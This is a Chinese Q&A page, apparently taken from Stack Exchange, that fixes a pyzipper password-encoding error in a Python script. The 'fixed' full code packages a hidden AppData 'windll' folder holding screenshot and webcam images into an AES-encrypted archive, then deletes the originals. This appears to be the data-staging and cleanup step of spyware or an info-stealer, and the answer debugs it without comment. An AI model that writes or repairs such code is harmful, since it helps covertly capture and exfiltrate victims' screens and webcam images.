Python中使用pyzipper的setpassword()时如何将字符串转二进制?
问题解决:pyzipper setpassword 二进制类型要求报错
你的代码生成随机字符串密码后创建加密ZIP文件,但setpassword()需要传入二进制类型而非字符串,导致报错。以下是修复方案:
核心问题解决
pyzipper的setpassword()方法要求参数为bytes类型,你只需要将字符串密码通过encode('utf-8')转换为二进制即可。
代码修复细节
除了密码转码,你的代码还有两处潜在问题需要修正:
os.environ['USERPROFILE'].replace("C\\Users\\")缺少替换目标值,会触发方法调用错误;path变量定义在except块内,后续shutil.rmtree会触发NameError。
修复后的完整代码
import shutil import os import random import pyzipper def makemeZip(password): path = os.environ['USERPROFILE'] + os.sep + r'AppData\Local' try: # 修复replace方法参数,移除C:\Users\前缀 user = os.environ['USERPROFILE'].replace("C:\\Users\\", "") except: dox = "qwertyuiopasdfghjklzxcvbnm1234567890" for i in range(30): password += dox[random.randint(0, len(dox)-1)] shutil.make_archive(fr'{path}\\cashe', 'zip', fr'{path}\\windll') shutil.move(fr'{path}\\cashe.zip', "cashe.zip") with pyzipper.AESZipFile('The murk results.zip','w', compression=pyzipper.ZIP_STORED, encryption=pyzipper.WZ_AES) as logs: print(password) # 将字符串密码转为二进制类型 logs.setpassword(password.encode('utf-8')) logs.write("cashe.zip") os.remove("cashe.zip") shutil.rmtree(rf'{path}\\windll', ignore_errors=True) try: os.remove(rf'{path}\\windll\\sreenshot.jpg') os.remove(rf'{path}\\windll\\webcam.png') except: pass return password
关键修改点说明
logs.setpassword(password.encode('utf-8')):把字符串密码编码为UTF-8二进制,满足pyzipper的参数要求;- 将
path变量移到try-except外部,确保后续代码能正常访问; - 修正
replace("C\\Users\\")为replace("C:\\Users\\", ""),避免字符串方法调用错误。
内容的提问来源于stack exchange,提问作者Nick Vinesmoke
相关产品推荐
相关产品推荐

